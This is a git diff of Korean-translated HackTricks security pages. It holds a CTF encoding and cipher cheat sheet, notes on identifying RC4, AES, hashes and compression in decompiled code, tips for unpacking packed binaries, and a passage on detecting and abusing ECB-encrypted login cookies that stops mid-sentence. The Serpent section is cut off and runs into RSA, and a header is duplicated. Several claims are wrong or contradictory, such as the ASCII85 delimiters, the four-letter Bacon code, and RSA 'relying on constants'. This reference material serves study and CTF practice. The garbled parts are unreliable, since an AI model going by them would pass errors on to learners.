* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
XXEncoder는 문자열을 다른 형식으로 인코딩하는 도구입니다. 이 도구는 다양한 인코딩 방식을 지원하며, 주로 데이터를 안전하게 전송하거나 저장하기 위해 사용됩니다. XXEncoder를 사용하면 원본 문자열을 다른 형식으로 변환하여 데이터를 보호할 수 있습니다.
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
BinHex는 이진 데이터를 ASCII로 변환하는 인코딩 방식입니다. 이 방식은 이진 파일을 텍스트 형식으로 전송하거나 저장할 때 사용됩니다. BinHex는 파일을 7비트 ASCII 문자로 변환하고, 이진 데이터를 6비트로 분할하여 텍스트 형식으로 표현합니다. 이렇게 변환된 파일은 이메일이나 웹을 통해 전송할 수 있습니다. BinHex는 파일의 무결성을 보장하기 위해 체크섬을 사용하며, 압축 기능도 제공합니다.
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85는 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환하는 인코딩 방식입니다. 이 방식은 이진 데이터를 텍스트 형식으로 전송할 수 있도록 해줍니다. ASCII85는 일반적으로 PostScript와 PDF 파일에서 사용되며, 이진 데이터를 텍스트로 변환하여 문서에 포함시킵니다.
|
||||
|
||||
ASCII85 인코딩은 다음과 같은 특징을 가지고 있습니다.
|
||||
|
||||
- 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환합니다.
|
||||
- 인코딩된 문자열은 '~' 문자로 시작하고 'z' 문자로 끝납니다.
|
||||
- 인코딩된 문자열은 5개의 문자로 이루어져 있으며, 각 문자는 7비트 ASCII 문자로 표현됩니다.
|
||||
- 인코딩된 문자열은 원래의 이진 데이터를 복원하기 위해 디코딩될 수 있습니다.
|
||||
|
||||
ASCII85 인코딩은 다양한 프로그래밍 언어에서 지원되며, 이를 활용하여 이진 데이터를 텍스트로 변환하거나, 텍스트를 이진 데이터로 변환할 수 있습니다.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak 키보드
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
알파벳을 숫자 값으로 변환합니다.
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine 암호화
|
||||
|
||||
문자를 숫자로 변환하여 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자)를 계산하고 결과를 다시 문자로 변환합니다.
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS 코드
|
||||
|
||||
**멀티탭**은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자로 [문자를 대체](https://www.dcode.fr/word-letter-change)합니다 (이 모드는 SMS 작성 시 사용됩니다).\
|
||||
예를 들어: 2=A, 22=B, 222=C, 3=D...\
|
||||
여러 번 반복된 숫자를 볼 수 있으므로 이 코드를 식별할 수 있습니다.
|
||||
|
||||
이 코드를 해독할 수 있는 곳: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### 베이컨 코드
|
||||
|
||||
각 문자를 4개의 A 또는 B (또는 1과 0)로 대체합니다.
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### 룬
|
||||
|
||||
![](../.gitbook/assets/runes.jpg)
|
||||
|
||||
## 압축
|
||||
|
||||
**Raw Deflate**와 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 해제할 수 있습니다.
|
||||
|
||||
## 쉬운 암호화
|
||||
|
||||
### XOR - 자동 해독기
|
||||
|
||||
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
키워드가 필요합니다.
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
키워드가 필요합니다.
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## 강력한 암호화
|
||||
|
||||
### Fernet
|
||||
|
||||
2 개의 base64 문자열 (토큰과 키)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Secret Sharing
|
||||
|
||||
비밀은 X 부분으로 나누어지며, 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL 무차별 대입 공격
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
||||
## 도구
|
||||
|
||||
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
|
||||
</details>
|
194
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
194
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
|
@ -0,0 +1,194 @@
|
|||
# 암호화/압축 알고리즘
|
||||
|
||||
## 암호화/압축 알고리즘
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 알고리즘 식별
|
||||
|
||||
만약 코드에서 **시프트 연산, XOR 및 여러 산술 연산을 사용하는 경우**, 그것은 **암호화 알고리즘의 구현**일 가능성이 높습니다. 여기에서는 **각 단계를 반전시키지 않고 사용된 알고리즘을 식별하는 방법**을 소개합니다.
|
||||
|
||||
### API 함수
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
이 함수가 사용된 경우, 두 번째 매개변수의 값을 확인하여 **사용된 알고리즘을 찾을 수** 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||
|
||||
가능한 알고리즘과 해당 값에 대한 테이블은 여기에서 확인할 수 있습니다: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
주어진 데이터 버퍼를 압축하거나 압축 해제합니다.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
[문서](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta)에서: **CryptAcquireContext** 함수는 특정 암호화 서비스 제공자(CSP) 내의 특정 키 컨테이너에 대한 핸들을 획득하는 데 사용됩니다. **이 반환된 핸들은 선택한 CSP를 사용하는 CryptoAPI 함수 호출에 사용됩니다.**
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
데이터 스트림의 해싱을 시작합니다. 이 함수가 사용된 경우, 두 번째 매개변수의 값을 확인하여 **사용된 알고리즘을 찾을 수** 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (376).png>)
|
||||
|
||||
가능한 알고리즘과 해당 값에 대한 테이블은 여기에서 확인할 수 있습니다: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### 코드 상수
|
||||
|
||||
때로는 특정하고 고유한 값을 사용해야 하는 알고리즘을 식별하는 것이 매우 쉽습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (370).png>)
|
||||
|
||||
첫 번째 상수를 Google에서 검색하면 다음과 같은 결과가 나옵니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (371).png>)
|
||||
|
||||
따라서, 디컴파일된 함수가 **sha256 계산기**임을 가정할 수 있습니다. 다른 상수 중 하나를 검색하면 (아마도) 동일한 결과를 얻을 수 있습니다.
|
||||
|
||||
### 데이터 정보
|
||||
|
||||
코드에 유의미한 상수가 없는 경우, 코드가 **.data 섹션에서 정보를 로드**할 수 있습니다.\
|
||||
해당 데이터에 액세스하여 **첫 번째 dword를 그룹화**하고 앞에서 한 것과 같이 Google에서 검색할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (372).png>)
|
||||
|
||||
이 경우, **0xA56363C6**을 검색하면 **AES 알고리즘의 테이블**과 관련된 것임을 알 수 있습니다.
|
||||
|
||||
## RC4 **(대칭 암호)**
|
||||
|
||||
### 특징
|
||||
|
||||
RC4는 3가지 주요 부분으로 구성됩니다:
|
||||
|
||||
* **초기화 단계/**: 0x00에서 0xFF(총 256바이트, 0x100)까지의 값으로 구성된 **값 테이블** 또는 **치환 상자**(SBox)를 생성합니다.
|
||||
* **혼란 단계**: 이전에 생성된 테이블을 반복하여 (다시 0x100번 반복) 각 값을 **반 랜덤** 바이트로 수정합니다. 이 반 랜덤 바이트를 생성하기 위해 RC4 **키**가 사용됩니다. RC4 **키**는 **1바이트에서 256바이트**까지 가능하지만, 일반적으로 5바이트 이상을 권장합니다. 일반적으로 RC4 키는 16바이트입니다.
|
||||
* **XOR 단계**: 마지막으로, 평문 또는 암호문은 이전에 생성된 값들과 **XOR 연산**됩니다. 암호화 및 복호화를 위해 동일한 함수가 사용됩니다. 이를 위해 생성된 256바이트를 필요한 만큼 반복하여 수행합니다. 이는 일반적으로 디컴파일된 코드에서 **%256 (mod 256)**로 인식됩니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
**디어셈블리/디컴파일된 코드에서 RC4를 식별하려면 키를 사용한 크기가 0x100인 2개의 루프와 256개의 값으로 생성된 입력 데이터의 XOR를 확인할 수 있습니다. 이 때, 256바이트로 생성된 2개의 루프에서 %256 (mod 256)를 사용하는 것을 확인할 수 있습니다.**
|
||||
{% endhint %}
|
||||
|
||||
### **초기화 단계/치환 상자:** (256이라는 숫자가 카운터로 사용되고 256개 문자의 각 위치에 0이 쓰여져 있는 것에 유의하세요)
|
||||
|
||||
![](<../../.gitbook/assets/image (377).png>)
|
||||
|
||||
### **혼란 단계:**
|
||||
|
||||
![](<../../.gitbook/assets/image (378).png>)
|
||||
|
||||
### **XOR 단계:**
|
||||
|
||||
![](<../../.gitbook/assets/image (379).png>)
|
||||
|
||||
## **AES (대칭 암호)**
|
||||
|
||||
### **특징**
|
||||
|
||||
* **치환 상자 및 룩업 테이블**의 사용
|
||||
* 특정 룩업 테이블 값(상수)의 사용으로 **AES를 구별**할 수 있습니다. _상수는 이진 파일에 **저장**되거나 **동적으로 생성**될 수 있습니다._
|
||||
* **암호화 키**는 16으로 **나눌 수 있어야** 하며(일반적으로 32B), 일반적으로 16B의 **IV**가 사용됩니다.
|
||||
|
||||
### SBox 상수
|
||||
|
||||
![](<../../.gitbook/assets/image (380).png>)
|
||||
|
||||
## Serpent **(대칭 암호)**
|
||||
|
||||
### 특징
|
||||
|
||||
* 악성 코드에서 사용되는 것은 드물지만 예시(Ursnif)가 있습니다.
|
||||
* 알고리즘이 Serpent인지 아닌지를 판단하는 것은 **길이**(
|
||||
## RSA **(비대칭 암호화)**
|
||||
|
||||
### 특징
|
||||
|
||||
* 대칭 알고리즘보다 복잡함
|
||||
* 상수가 없음! (사용자 정의 구현이 어려움)
|
||||
* RSA는 상수에 의존하므로 KANAL (암호 분석기)은 RSA에 대한 힌트를 제공하지 않음.
|
||||
|
||||
### 비교를 통한 식별
|
||||
|
||||
![](<../../.gitbook/assets/image (383).png>)
|
||||
|
||||
* 11번 줄 (왼쪽)에는 `+7) >> 3`이 있으며, 35번 줄 (오른쪽)에는 `+7) / 8`과 동일함.
|
||||
* 12번 줄 (왼쪽)에서는 `modulus_len < 0x040`을 확인하고, 36번 줄 (오른쪽)에서는 `inputLen+11 > modulusLen`을 확인함.
|
||||
|
||||
## MD5 & SHA (해시)
|
||||
|
||||
### 특징
|
||||
|
||||
* Init, Update, Final 3개의 함수
|
||||
* 유사한 초기화 함수
|
||||
|
||||
### 식별
|
||||
|
||||
**Init**
|
||||
|
||||
상수를 확인하여 두 알고리즘을 식별할 수 있습니다. MD5에는 sha\_init에 없는 1개의 상수가 있다는 점에 유의하세요:
|
||||
|
||||
![](<../../.gitbook/assets/image (385).png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
더 많은 상수의 사용에 주목하세요.
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||
|
||||
## CRC (해시)
|
||||
|
||||
* 데이터의 우연한 변경을 찾기 위한 함수로서 더 작고 효율적임
|
||||
* 상수를 사용하는 조회 테이블을 사용함
|
||||
|
||||
### 식별
|
||||
|
||||
**조회 테이블 상수**를 확인하세요:
|
||||
|
||||
![](<../../.gitbook/assets/image (387).png>)
|
||||
|
||||
CRC 해시 알고리즘은 다음과 같습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
## APLib (압축)
|
||||
|
||||
### 특징
|
||||
|
||||
* 식별 가능한 상수가 없음
|
||||
* 파이썬으로 알고리즘을 작성하고 온라인에서 유사한 것을 검색해볼 수 있음
|
||||
|
||||
### 식별
|
||||
|
||||
그래프가 상당히 큽니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||
|
||||
**식별하기 위해 3개의 비교**를 확인하세요:
|
||||
|
||||
![](<../../.gitbook/assets/image (384).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,50 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 패킹된 이진 파일 식별하기
|
||||
|
||||
* **문자열 부재**: 패킹된 이진 파일에서는 거의 어떤 문자열도 찾을 수 없는 것이 일반적입니다.
|
||||
* 많은 **사용되지 않는 문자열**: 악성 코드가 상업용 패커를 사용하는 경우, 교차 참조 없이 많은 문자열을 찾는 것이 일반적입니다. 이러한 문자열이 존재한다고 해도 이진 파일이 패킹되지 않았다는 의미는 아닙니다.
|
||||
* 일부 도구를 사용하여 이진 파일을 패킹한 패커를 찾을 수도 있습니다:
|
||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
* [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# 기본 권장 사항
|
||||
|
||||
* 패킹된 이진 파일을 분석할 때는 **IDA에서 아래에서 위로** 분석을 시작하세요. 언패커는 언패킹된 코드가 종료되면 종료되므로 시작 시 언패킹된 코드로 실행을 전달하는 경우는 드뭅니다.
|
||||
* **레지스터** 또는 **메모리 영역**으로의 **JMP** 또는 **CALL** 또는 **인수를 푸시하고 주소 방향을 호출한 다음 `retn`을 호출하는 함수**를 검색하세요. 이 경우 함수의 반환은 호출하기 전에 스택에 푸시된 주소를 호출할 수 있으므로 해당 주소를 따라가야 합니다.
|
||||
* `VirtualAlloc`에 **중단점**을 설정하세요. 이는 프로그램이 언패킹된 코드를 작성할 수 있는 메모리 공간을 할당하기 때문입니다. 함수를 실행한 후 EAX 내부의 값을 얻으려면 "run to user code" 또는 F8을 사용하여 "**덤프에서 해당 주소를 따라가세요**". 언패킹된 코드가 저장될 영역인지 확실하지 않기 때문에 이를 알 수 없습니다.
|
||||
* **`VirtualAlloc`**의 인수로 "**40**"이라는 값을 사용하면 Read+Write+Execute(실행이 필요한 일부 코드가 여기에 복사됨)를 의미합니다.
|
||||
* 코드를 언패킹하는 동안 **산술 연산** 및 **`memcopy`** 또는 **`Virtual`**`Alloc`과 같은 함수를 **여러 번 호출**하는 것이 일반적입니다. 산술 연산만 수행하는 함수에 도달하면 (아마도 JMP 또는 레지스터로의 호출) **함수의 끝**을 찾거나 적어도 **마지막 함수를 호출**하여 코드가 흥미로운지 확인하세요.
|
||||
* 코드를 언패킹하는 동안 **메모리 영역을 변경**할 때마다 **메모리 영역 변경**이 언패킹 코드의 시작을 나타낼 수 있습니다. Process Hacker(프로세스 --> 속성 --> 메모리)를 사용하여 메모리 영역을 쉽게 덤프할 수 있습니다.
|
||||
* 코드를 언패킹하려고 할 때 이미 **언패킹된 코드로 작업 중인지 확인하는 좋은 방법**은 이진 파일의 문자열을 **확인**하는 것입니다. 어느 시점에서 점프(메모리 영역 변경)를 수행하고 **더 많은 문자열이 추가**된 것을 알 수 있다면, **언패킹된 코드로 작업 중**임을 알 수 있습니다.\
|
||||
그러나 패커에 이미 많은 문자열이 포함되어 있는 경우 "http"라는 단어를 포함하는 문자열의 수를 확인하고 이 수가 증가하는지 확인할 수 있습니다.
|
||||
* 메모리 영역에서 실행 파일을 덤프할 때 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)를 사용하여 일부 헤더를 수정할 수 있습니다.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
|
@ -0,0 +1,94 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) 전자 코드 북 - 각 블록의 평문을 암호문 블록으로 **대체**하는 대칭 암호화 방식입니다. 가장 **간단한** 암호화 방식입니다. 주요 아이디어는 평문을 N 비트 블록(입력 데이터 블록 크기, 암호화 알고리즘에 따라 다름)으로 **분할**한 다음, 유일한 키를 사용하여 각 평문 블록을 암호화(복호화)하는 것입니다.
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
ECB 사용은 여러 보안 문제를 야기할 수 있습니다:
|
||||
|
||||
* 암호화된 메시지의 **블록이 제거**될 수 있습니다.
|
||||
* 암호화된 메시지의 **블록이 이동**될 수 있습니다.
|
||||
|
||||
# 취약점 탐지
|
||||
|
||||
어떤 애플리케이션에 여러 번 로그인하고 항상 **동일한 쿠키**를 받는다고 상상해보세요. 이는 애플리케이션의 쿠키가 **`<사용자명>|<비밀번호>`**인 것입니다.\
|
||||
그런 다음, **동일한 긴 비밀번호**와 **거의** **동일한** **사용자명**을 가진 새로운 사용자를 생성합니다.\
|
||||
두 사용자의 정보가 동일한 **8B 블록**이 **동일**함을 발견합니다. 그럼 이것은 아마도 **ECB가 사용되고 있을 수 있다는 것**을 상상해볼 수 있습니다.
|
||||
|
||||
다음 예시와 같이, 이 **2개의 디코딩된 쿠키**에는 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**이 포함되어 있음을 관찰하세요.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
이는 해당 쿠키의 **사용자 이름과 비밀번호에 여러 번 "a" 문자가 포함**되어 있기 때문입니다. **다른 블록**은 적어도 1개의 다른 문자(아마도 구분 기호 "|" 또는 사용자 이름에 필요한 차이)가 포함된 블록입니다.
|
||||
|
||||
이제 공격자는 형식이 `<사용자 이름><구분 기호><비밀번호>` 또는 `<비밀번호><구분 기호><사용자 이름>`인지 알아내기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호를 가진 여러 사용자 이름**을 생성하여 형식과 구분 기호의 길이를 찾을 수 있습니다:
|
||||
